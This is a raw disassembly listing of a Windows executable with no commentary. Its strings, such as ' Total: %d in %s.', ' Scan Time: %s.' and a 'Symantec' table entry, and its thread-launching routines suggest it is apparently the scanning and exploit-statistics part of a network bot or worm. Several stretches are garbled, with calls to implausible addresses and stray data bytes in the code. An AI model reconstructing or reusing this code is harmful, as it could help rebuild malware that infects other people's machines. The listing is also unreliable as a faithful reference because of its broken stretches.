loc_40B747:				; CODE XREF: sub_40B713+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B777
; ---------------------------------------------------------------------------


loc_40B74C:				; CODE XREF: sub_40B713+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B7A9
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B777
; ---------------------------------------------------------------------------


loc_40B764:				; CODE XREF: sub_40B713+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B841
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_40B777:				; CODE XREF: sub_40B713+37j
					; sub_40B713+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B71D
; ---------------------------------------------------------------------------


loc_40B77D:				; CODE XREF: sub_40B713+Ej
					; sub_40B713+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B78D
		cmp	eax, 1
		jnz	short loc_40B7A4
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B77D
; ---------------------------------------------------------------------------


loc_40B78D:				; CODE XREF: sub_40B713+6Dj
		cmp	eax, 1
		jnz	short loc_40B7A4
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B7A4
		cmp	byte ptr [esi],	0
		jnz	short loc_40B7A4
		push	1
		pop	eax
		jmp	short loc_40B7A6
; ---------------------------------------------------------------------------


loc_40B7A4:				; CODE XREF: sub_40B713+72j
					; sub_40B713+7Dj ...
		xor	eax, eax


loc_40B7A6:				; CODE XREF: sub_40B713+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B713	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7A9	proc near		; CODE XREF: sub_40B713+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B7CA
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40B7CA:				; CODE XREF: sub_40B7A9+19j
		push	ebx
		push	esi


loc_40B7CC:				; CODE XREF: sub_40B7A9+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B7DA
		cmp	[ebp+var_4], eax
		jnz	short loc_40B826


loc_40B7DA:				; CODE XREF: sub_40B7A9+2Aj
		test	edi, edi
		jnz	short loc_40B81B
		cmp	bl, 2Dh
		jnz	short loc_40B80F
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B80F
		cmp	al, 5Dh
		jz	short loc_40B80F
		cmp	[ebp+var_4], edi
		jnz	short loc_40B80F
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B81B
		cmp	bl, al
		jg	short loc_40B81B
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B81B
; ---------------------------------------------------------------------------


loc_40B80F:				; CODE XREF: sub_40B7A9+38j
					; sub_40B7A9+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B81B
		push	1
		pop	edi


loc_40B81B:				; CODE XREF: sub_40B7A9+33j
					; sub_40B7A9+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B7CC
; ---------------------------------------------------------------------------


loc_40B826:				; CODE XREF: sub_40B7A9+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B833
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40B833:				; CODE XREF: sub_40B7A9+82j
		cmp	edi, eax
		jnz	short loc_40B83C
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40B83C:				; CODE XREF: sub_40B7A9+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B7A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B841	proc near		; CODE XREF: sub_40B713+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_40B85D:				; CODE XREF: sub_40B841+3Aj
		cmp	[eax], bl
		jz	short loc_40B87D
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B872
		cmp	cl, 2Ah
		jnz	short loc_40B87D
		cmp	cl, 3Fh
		jnz	short loc_40B875


loc_40B872:				; CODE XREF: sub_40B841+25j
		inc	eax
		mov	[edi], eax


loc_40B875:				; CODE XREF: sub_40B841+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B85D
; ---------------------------------------------------------------------------


loc_40B87D:				; CODE XREF: sub_40B841+1Ej
					; sub_40B841+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B888
		inc	dword ptr [esi]
		jmp	short loc_40B87D
; ---------------------------------------------------------------------------


loc_40B888:				; CODE XREF: sub_40B841+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B8A9
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B89A
		xor	eax, eax
		jmp	short loc_40B909
; ---------------------------------------------------------------------------


loc_40B89A:				; CODE XREF: sub_40B841+53j
		cmp	cl, bl
		jnz	short loc_40B8A9
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B8A9
		push	1
		pop	eax
		jmp	short loc_40B909
; ---------------------------------------------------------------------------


loc_40B8A9:				; CODE XREF: sub_40B841+4Dj
					; sub_40B841+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B713
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B8F3


loc_40B8B7:				; CODE XREF: sub_40B841+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_40B8BB:				; CODE XREF: sub_40B841+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B8D3
		cmp	cl, 5Bh
		jz	short loc_40B8D3
		cmp	dl, bl
		jz	short loc_40B8D3
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B8BB
; ---------------------------------------------------------------------------


loc_40B8D3:				; CODE XREF: sub_40B841+82j
					; sub_40B841+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B8EA
		push	eax
		push	dword ptr [esi]
		call	sub_40B713
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B8EF
; ---------------------------------------------------------------------------


loc_40B8EA:				; CODE XREF: sub_40B841+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40B8EF:				; CODE XREF: sub_40B841+A7j
		cmp	eax, ebx
		jnz	short loc_40B8B7


loc_40B8F3:				; CODE XREF: sub_40B841+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B906
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B906
		mov	[ebp+var_4], 1


loc_40B906:				; CODE XREF: sub_40B841+B6j
					; sub_40B841+BCj
		mov	eax, [ebp+var_4]


loc_40B909:				; CODE XREF: sub_40B841+57j
					; sub_40B841+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B841	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B90E	proc near		; CODE XREF: sub_401ACD+2AB2p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_431B9C
		push	eax
		xor	ebx, ebx
		call	sub_41C266
		cmp	dword_431800, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B980
		push	esi
		mov	esi, offset dword_431808


loc_40B941:				; CODE XREF: sub_40B90E+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B976
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_431B90
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41CBC0
		add	esp, 1Ch


loc_40B976:				; CODE XREF: sub_40B90E+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B941
		pop	esi


loc_40B980:				; CODE XREF: sub_40B90E+2Bj
		push	dword_4CB724
		call	sub_41ADD8
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41CBC0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B90E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B9DD	proc near		; CODE XREF: sub_401ACD+2A9Cp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4CE4F0
		mov	ecx, dword_4CE4EC
		push	esi
		push	dword_4CB724
		lea	esi, [ecx+eax]
		call	sub_41ADD8
		pop	ecx
		push	eax
		push	esi
		push	dword_4CE4F0
		lea	eax, [ebp+var_200]
		push	dword_4CE4EC
		push	offset unk_431BBC
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 30h
		pop	esi
		leave
		retn
sub_40B9DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA49	proc near		; CODE XREF: sub_401ACD+2A86p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4CB724
		call	sub_41ADD8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4CE728
		push	offset unk_431C04
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 28h
		leave
		retn
sub_40BA49	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA9E	proc near		; CODE XREF: sub_401ACD+2A70p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41C500
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_431C50
		push	eax
		call	sub_41C266
		cmp	dword_431800, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40BB0A
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"


loc_40BAD3:				; CODE XREF: sub_40BA9E+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_431C40
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41CBC0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40BAD3
		pop	esi


loc_40BB0A:				; CODE XREF: sub_40BA9E+2Dj
		push	dword_4CB724
		call	sub_41ADD8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41CBC0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_415D38
		add	esp, 30h
		pop	edi
		leave
		retn
sub_40BA9E	endp

; ---------------------------------------------------------------------------
byte_40BB65	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+309Ao
; ---------------------------------------------------------------------------
		sub	esp, 3F0h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-134h]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp-134h]
		push	eax
		call	dword_4CBA24
		xor	edi, edi
		mov	[ebp-8], eax
		cmp	dword_431800, edi
		mov	[ebp-4], edi
		mov	[ebp+8], edi
		jz	loc_40BCC7
		mov	ebx, offset dword_431800
		mov	eax, ebx


loc_40BBB6:				; CODE XREF: ___:0040BCC1j
		push	dword ptr [ebp-1Ch]
		push	dword ptr [eax]
		push	dword ptr [ebp-8]
		call	sub_40C34B
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40BCB7
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431CA0
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409869
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_415D38
		add	esp, 2Ch
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp-15Ch]
		pop	ecx
		push	esi
		push	eax
		call	sub_41C266
		cmp	byte ptr [ebp-0A4h], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp-0A4h]
		jnz	short loc_40BC52
		lea	eax, [ebp-124h]


loc_40BC52:				; CODE XREF: ___:0040BC4Aj
		push	eax
		lea	eax, [ebp-1DCh]
		push	eax
		call	sub_41C266
		mov	eax, [ebp-24h]
		pop	ecx
		mov	[ebp-1F0h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-140h], eax
		mov	eax, [ebp-10h]
		pop	ecx
		mov	[ebp-13Ch], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp-150h], eax
		mov	eax, [ebp-18h]
		push	2Fh
		mov	[ebp-14Ch], eax
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [ebp-1F0h]
		mov	edi, esp
		mov	[ebp-148h], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	dword ptr [ebp-4]
		xor	edi, edi


loc_40BCB7:				; CODE XREF: ___:0040BBC9j
		inc	dword ptr [ebp+8]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40BBB6


loc_40BCC7:				; CODE XREF: ___:0040BBA9j
		push	dword ptr [ebp-4]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431C6C
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409869
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-18h]
		call	sub_40B6D6
		add	esp, 2Ch
		push	edi
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 0E6h, 42h
; ---------------------------------------------------------------------------
		xor	[edx], al

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BD1A	proc near		; CODE XREF: sub_401ACD+23F4p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_40BD56
		mov	eax, [ebp+arg_C]
		push	dword_4CBB30[eax*8]
		call	dword_4CBA70
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_431CF0
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	short loc_40BD69
; ---------------------------------------------------------------------------


loc_40BD56:				; CODE XREF: sub_40BD1A+13j
		lea	eax, [ebp+var_200]
		push	offset unk_431CD0
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40BD69:				; CODE XREF: sub_40BD1A+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 18h
		leave
		retn
sub_40BD1A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BD91	proc near		; CODE XREF: sub_40C3E8+267p

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40C263
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_43180C[eax], ebx
		jz	loc_40C263
		push	5
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_40C018
		mov	eax, dword_429078
		push	edi
		mov	esi, offset dword_4CDBEC
		push	104h
		push	esi
		push	ebx
		mov	dword_4CDDFC, eax
		mov	dword_4CDDF8, ebx
		nop
		call	near ptr 2690000h
		mov	edi, offset byte_429110
		push	103h
		push	edi
		push	offset dword_4CDCF0
		call	sub_41BFD0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CDBE8, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4CDE80, eax
		jnz	short loc_40BE44
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDE00
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDE84, 1
		jmp	short loc_40BE5E
; ---------------------------------------------------------------------------


loc_40BE44:				; CODE XREF: sub_40BD91+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDE00
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDE84, ebx


loc_40BE5E:				; CODE XREF: sub_40BD91+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CDDFC
		push	offset unk_42C20C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	dword_4CDDF4, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDBE8
		push	offset byte_412197
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04CCh
		mov	ecx, dword_4CDDF4
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40BECC


loc_40BEBA:				; CODE XREF: sub_40BD91+139j
		cmp	dword_4CDE88, ebx
		jnz	short loc_40BEE7
		push	32h
		nop
		call	near ptr 26A0475h
		jmp	short loc_40BEBA
; ---------------------------------------------------------------------------


loc_40BECC:				; CODE XREF: sub_40BD91+127j
		nop
		call	near ptr 26A0CACh
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431E10
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40BEE7:				; CODE XREF: sub_40BD91+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		mov	eax, dword_4CB720
		mov	esi, offset dword_4CDE94
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4CE0A4, eax
		mov	dword_4CE0A0, ebx
		nop
		call	near ptr 2690000h
		push	103h
		push	edi
		push	offset dword_4CDF98
		call	sub_41BFD0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CDE90, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4CE128, eax
		push	7Fh
		jnz	short loc_40BF68
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CE0A8
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CE12C, 1
		jmp	short loc_40BF82
; ---------------------------------------------------------------------------


loc_40BF68:				; CODE XREF: sub_40BD91+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CE0A8
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CE12C, ebx


loc_40BF82:				; CODE XREF: sub_40BD91+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CE0A4
		push	offset unk_431DDC
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	dword_4CE09C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDE90
		push	offset word_40F3AA
		push	ebx
		push	ebx
		call	near ptr 26A04CCh
		nop
		mov	ecx, dword_4CE09C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40BFF0


loc_40BFDE:				; CODE XREF: sub_40BD91+25Dj
		cmp	dword_4CE130, ebx
		jnz	short loc_40C00B
		push	32h
		nop
		call	near ptr 26A0475h
		jmp	short loc_40BFDE
; ---------------------------------------------------------------------------


loc_40BFF0:				; CODE XREF: sub_40BD91+24Bj
		nop
		call	near ptr 26A0CACh
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431DA8
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40C00B:				; CODE XREF: sub_40BD91+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		pop	ecx


loc_40C018:				; CODE XREF: sub_40BD91+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_431814[ecx], ebx
		jz	loc_40C141
		push	7
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_40C13B
		mov	eax, dword_4CE720
		cmp	[ebp+arg_90], bl
		mov	dword_4CDB54, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4CDB48, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4CDB50, ebx
		mov	dword_4CDBD8, eax
		push	7Fh
		jnz	short loc_40C08C
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDB58
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDBDC, 1
		jmp	short loc_40C0A6
; ---------------------------------------------------------------------------


loc_40C08C:				; CODE XREF: sub_40BD91+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDB58
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDBDC, ebx


loc_40C0A6:				; CODE XREF: sub_40BD91+2F9j
		push	dword_4CDB54
		lea	eax, [ebp+var_204]
		push	offset unk_431D78
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	dword_4CDB4C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDB48
		push	offset dword_40F108
		push	ebx
		push	ebx
		call	near ptr 26A04CCh
		nop
		mov	ecx, dword_4CDB4C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40C113


loc_40C101:				; CODE XREF: sub_40BD91+380j
		cmp	dword_4CDBE0, ebx
		jnz	short loc_40C12E
		push	32h
		call	near ptr 26A0475h
		nop
		jmp	short loc_40C101
; ---------------------------------------------------------------------------


loc_40C113:				; CODE XREF: sub_40BD91+36Ej
		call	near ptr 26A0CACh
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431D40
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40C12E:				; CODE XREF: sub_40BD91+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		pop	ecx


loc_40C13B:				; CODE XREF: sub_40BD91+2A8j
		mov	eax, [ebp+arg_130]


loc_40C141:				; CODE XREF: sub_40BD91+298j
		shl	eax, 6
		cmp	dword_431810[eax], ebx
		jz	loc_40C263
		push	3
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_40C263
		mov	esi, offset dword_4CE3C4
		push	104h
		push	esi
		push	ebx
		call	near ptr 2690000h
		nop
		push	5Ch
		push	esi
		call	sub_41C820
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40C182
		mov	[eax], bl


loc_40C182:				; CODE XREF: sub_40BD91+3EDj
		mov	eax, dword_42907C
		mov	dword_4CE4DC, ebx
		mov	dword_4CE4C8, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CE13C
		call	sub_41C266
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4CE138, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4CE4C8
		mov	dword_4CE4D4, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4CE4D8, ecx
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42C194
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	dword_4CE4D0, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CE138
		push	offset sub_40FAD6
		push	ebx
		push	ebx
		call	near ptr 26A04CCh
		nop
		mov	ecx, dword_4CE4D0
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40C23B


loc_40C229:				; CODE XREF: sub_40BD91+4A8j
		cmp	dword_4CE4E4, ebx
		jnz	short loc_40C256
		push	32h
		call	near ptr 26A0475h
		nop
		jmp	short loc_40C229
; ---------------------------------------------------------------------------


loc_40C23B:				; CODE XREF: sub_40BD91+496j
		nop
		call	near ptr 26A0CACh
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431D0C
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40C256:				; CODE XREF: sub_40BD91+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		pop	ecx


loc_40C263:				; CODE XREF: sub_40BD91+14j
					; sub_40BD91+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40BD91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C267	proc near		; CODE XREF: sub_40C3E8:loc_40C459p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4CBB30h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CB90C
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CB9E0
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41CD20
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40C267	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C2AF	proc near		; CODE XREF: sub_40C3E8+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41B9C0
		cmp	eax, 0Fh
		pop	ecx
